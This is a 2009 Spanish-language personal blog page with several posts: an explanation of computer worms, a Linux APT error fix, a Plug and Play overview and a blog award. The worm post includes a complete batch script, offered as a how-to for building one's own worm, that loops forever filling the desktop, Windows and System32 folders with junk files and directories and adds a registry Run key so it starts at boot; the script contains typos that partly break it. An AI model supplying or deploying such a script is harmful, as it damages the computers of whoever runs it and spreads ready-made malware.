Festival Latinoamericano de Instalación de Software Libre

flisol

5 comments Abril 22, 2009

Gusanos

gusano1

Si alguna vez te preguntaste ‘qué es un gusano informatico?’, para empezar podés saber que un gusano es considerado una subclase de virus debido a su diseño, y pertenece al grupo de malware*1 [código maligno],  la misión principal que tienen es reproducirse, para luego propagarse dentro del sistema.   Una característica básica de los gusanos es que pueden propagarse por sí mismos.   Los gusanos suelen causar problemas, pero esto no se debe a que infecten el sistema, sino a que consumen los recursos del mismo;  por ejemplo en cuanto al internet, se ve afectado porque el gusano se encarga de consumir el ancho de banda, no porque haya infectado algun programa, también suelen consumir la memoria,  e incluso saturar y bloquear tanto una computadora, como sitios web.

ameba“El primer gusano informático de la historia data de 1988, cuando el gusano Morris infectó una gran parte de los servidores existentes hasta esa fecha. Su creador, Robert Tappan Morris, fue sentenciado a tres años de libertad condicional, 400 horas de servicios a la comunidad y una multa de USD 10050. Fue este hecho el que alentó a las principales empresas involucradas en la seguridad de tecnologías de la información a desarrollar los primeros firewalls*2.”[Ref.: Wiki]

¿Cómo se transmiten?

La mayoría de gusanos ingresan a nuestro sistema a travez de correos electrónicos, imágenes, archivos de texto, etc.  Por lo que no deben abrirse archivos que tengan procedencia ó remitentes desconocidos.

En ataques de gusano recientes, como el del gusano Blaster Worm, el gusano está diseñado para hacer un túnel en tu sistema y permitir que usuarios malévolos controlen remotamente tu ordenador.[masadelante.com]

¿Cómo crear un gusano en batch?

Encontré muchas formas en internet, hoy en día casi cualquier persona puede crear su porpio gusano :D    , una de las más simples a continuación:

Primero se utiliza el siguiente código, el cual se manipulará en un block de notas:

@echo off
:worm
cd \
cd %homepatch%
cd escritorio
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
cd \
cd windows
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
cd system32
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
goto worm

…Una vez realizado lo anterior, se ‘guarda como…’ el block de notas en donde se creo el gusanito, nombre: worm.bat [se utiliza esa extensión para que ejecute los comandos guardados en el archivo, desde consola], tipo: todos los archivos.    Una vez guardado, falta aún agragarle una líne de registro debajo de la instrucción @echo off, lo anterior para que el gusano se ejecute cuando el equipo inicie:

copy %0 %windir%\system32\worm.bat
REG ADD
HKLM\software\microsoft\windows\currentsversion\run/v hack/d %windir%\system32\worm.bat

Con lo anterior ya tenemos el gusano creado y listo para ejecutarlo cada vez que se inicie el sistema, el gusano se autocopiará en el directorio C:\Windows\System32\worm.bat [WarmAutor: DarkMaNats, www.tuwebdeinformatica.com ]Una recomendación de autor ‘No lo ejecuten porque se auto infectaran:P

gusano2

*1Malware:   Es software que tiene como objetivo infiltrarse en el sistema y dañar la computadora sin el conocimiento de su dueño [Ref.: mssimplex.com]

*2Firewall:  Elemento de hardware o software que se utiliza en una red de computadoras para controlar las comunicaciones, permitiéndolas o prohibiéndolas según las políticas de red que haya definido la organización responsable de la red.[Ref.: mssimplex.com]

14 comments Abril 22, 2009

Comandos útiles :P

…lástima que las consolas no hacen este tipo de  magia jajajajaja  :)

rm-rf

20 comments Abril 9, 2009

The Games Factory

the-games-factory

Para todas aquellas personas, las cuales hayan querido iniciar sus creaciones (juegos),  pero no posean conocimientos de programación…The Games factory no contiene código de programación, para que puedan implementar y poner en marcha sus ideas y claro se pongan ‘creativos’ :)

The Games Factory es un sistema armado de juegos, con el cual se pueden preparar plataformas, puzzles, arcades y muchos mas tipos de juegos.  Lo único que debe realizar cada ‘creador’ es la lógica del juego, por lo que el único requisito para poder elaborar uno es conocer la lógica del juego a crear.  The Games Factory permite crear pinballs, carreras, arkanoids, etc.

Si quieren inventarse un jueguito puden descargarlo acá

…que lo disfruten ;)     [thx negrito :D ]

9 comments Abril 6, 2009

The Propeller Clock

:-o    (thx negrito ;)     )

11 comments Marzo 28, 2009

Vaya, excedió el número de descripciones que este APT es capaz de manejar

Me topé con este error cuando intente utilizar el gestor de actualizaciones en mi ubuntu 8.10, me aparecía el sig msg de error

error_gestor_de_actualizaciones

E: Vaya, excedió el número de descripciones que este APT es capaz de manejar.
E: Problem with MergeList /var/lib/apt/lists/download.OpenOfficexxx._Packages
E: No se pudieron analizar o abrir las listas de paquetes o el archivo de estado.
Ni siquiera dejaba iniciar el gestor, al parecer la lista de paquetes ya no estaba siendo leída, asi que para solucionarlo lo primero que hice fue borrar la lista de paquetes ya existente:

sudo rm /var/lib/apt/lists/* -vf
Ahora se define la localización del sistema mediante las variables de entorno y….

sudo LC_ALL=C apt-get update

…esperamos a que se actualice la lista de paquetes… luego de esto, el gestor de paquetes está listo para funcionar de  nuevo!!!! ;)

16 comments Marzo 25, 2009

Que insignificantes somos!!

…en este universo tan inmenso, con el conjunto de simplezas y complejidades que lo forman, que insignificantes nos vemos :-o

17 comments Marzo 20, 2009

Cosas cotidianas

…Cuando nos acostumbramos a ver algo como una rutina, aunque esto ‘tenga lo suyo’, por algún motivo lo dejamos de apreciar.  Sucede con todo, por ejemplo son pocas las personas que se detienen a observar un atardecer y realmente lo disfrutan, pero las hay :D      y claro hablo por mí nada mas :P    pero no solo atardeceres, también charlas, sonidos, olores, momentos de ‘filosofar’, momentos de estres, de relajamiento total… en fin muchas situaciones, incluye momentos de observar, y yo paso hooooras de horas en la U y a veces uno deja de apreciar lo que tiene…hoy me detuve, y observé de nuevo :D    esto fue lo que ví…

usac1

usac2

usac3

…y me gustó de nuevo, tanto como antes… :D

16 comments Marzo 19, 2009

uuuu el dardo

…jeje, despues de varias semanas de ‘abandonar’ mi blog (:s), encontre un comentario de vivi quien me otorgó un premio.  Jeje quien diria que me darian un premio por mi blog :D      por escribir lo que se me da la gana weeeeee jaja, gracias vivi por tomarme en cuenta.   Ahora en que consiste el Premio Dardo????, dice que:

«se reconocen los valores que cada blogger muestra cada día en su empeño por transmitir valores culturales, éticos, literarios, personales, etc…, que en suma, demuestran su creatividad a través su pensamiento vivo que está y permanece, innato entre sus letras, entre sus palabras»

Las reglas a seguir para aceptar el premio son..
1- Aceptar, hacer que el Logo sea visible, respetar las reglas.
2- Hacer un link al Blog que te ha premiado.
3- Premiar otros 15 blogs y avisarles

Aca van mis premiados:

El blog de Many

Blog del Rojo

Chentex Blog

Cenderella’s blog

EliaBD

Feryac’s blog

Jorgito el curiosito

micha micha

mirá pué

El Hot Blog del Profe

Ottio’s blog

Neo(G10)

13 comments Marzo 10, 2009

Plug & Play

Como nos podemos acordar, que muchas veces al colocar un nuevo dispositivo en la computadora, era tedioso el ver que no reconocía el dispositivo que colocamos, y ni si quiera nos mostraba opciones sobre alguna especificación cual es el problema que esta pasando…

…esto claro está, provocaba errores o simplemente no dejaba conectar correctamente el dispositivo a la computadora…

(un ejemplo de esto:)

Es por eso que se empieza a utilizar el plug and play. Plug and play es el encargado de hacerle saber al software que existe algún dispositivo de hardware, y permite la comunicación entre éstos; permite reconocer dispositivos desde modems, tarjetas de red, sonido, etc. La función de plug and play es básicamente hacer coincidir al dispositivo físico con el software (asignándole un bus de E/S), siendo así un canal de comunicación entre ellos, mantiene un registro de lo que se hace y permite que los controladores de dispositivos obtengan esta información. Una vez que se le han asignado los recursos y el controlador se encuentra ya instalado, y listo para usar.

La asignación de bus que se realiza se llama ‘configuración’, pero esta configuración es solamente a bajo nivel. El proceso del plug and play, se lleva a cabo en diversos programas y equipos informáticos. Hoy en día todos los Sistemas Operativos (SO) ya tiene implementado lo que es el plug and play, esto nos llego a dar un gran salto en la comunicación de dispositivos externos. En el caso de GNU/Linux el plug and play no es muy sencillo, ya que este no posee un programa para manejarlo. Pero con Linux cada controlador de dispositivo tiene su propio plug and play, utilizando el software suministrado por el núcleo. El BIOS de hardware de la PC hace un plug and play cuando la PC es encendida por primera vez, para reconocer todos los dispositivos que ella contiene.


Editado:

Para complementar, nótese que la diferencia entre windows y linux es que para Microsoft simplemente pide bus de recursos, para conectar el dispositivo es un poco más genérico, mientras que para GNU/Linux como lo mencionaba en el post, utiliza un PnP para cada dispositivo.

Windows utiliza controladores más genéricos,  estos controladores genéricos se almacenan en la carpeta i386 de windows, entonces cuando no hay internet ni existe ninguna otra fuente, windows busca en su carpetita algun controlador genérico que haga funcionar el dispositivo que conectaste. Si en todo caso no es compatible ninguno de los que trae, le pediría al usuario el controlador necesario para que el dispositivo funcione.

Fuentes consultadas:

http://tldp.org

www.masadelante.com

www.plugandplaytechcenter.com

http://www.youtube.com/watch?v=TGLhuF3L48U

25 comments Febrero 17, 2009

Next Posts Previous Posts


 

Noviembre 2009
L M X J V S D
« Ago    
 1
2345678
9101112131415
16171819202122
23242526272829
30  

Entradas recientes

Lo que se ha dicho

kr105 en El Don
chentex en ¿Cómo hacer un zip?
ppedrodom en ¿Cómo hacer un zip?
b3@ en ¿Cómo hacer un zip?
Many en ¿Cómo hacer un zip?

Blogroll

Estadísticas del blog

Creative Commons License
Esta obra está bajo una licencia de Creative Commons.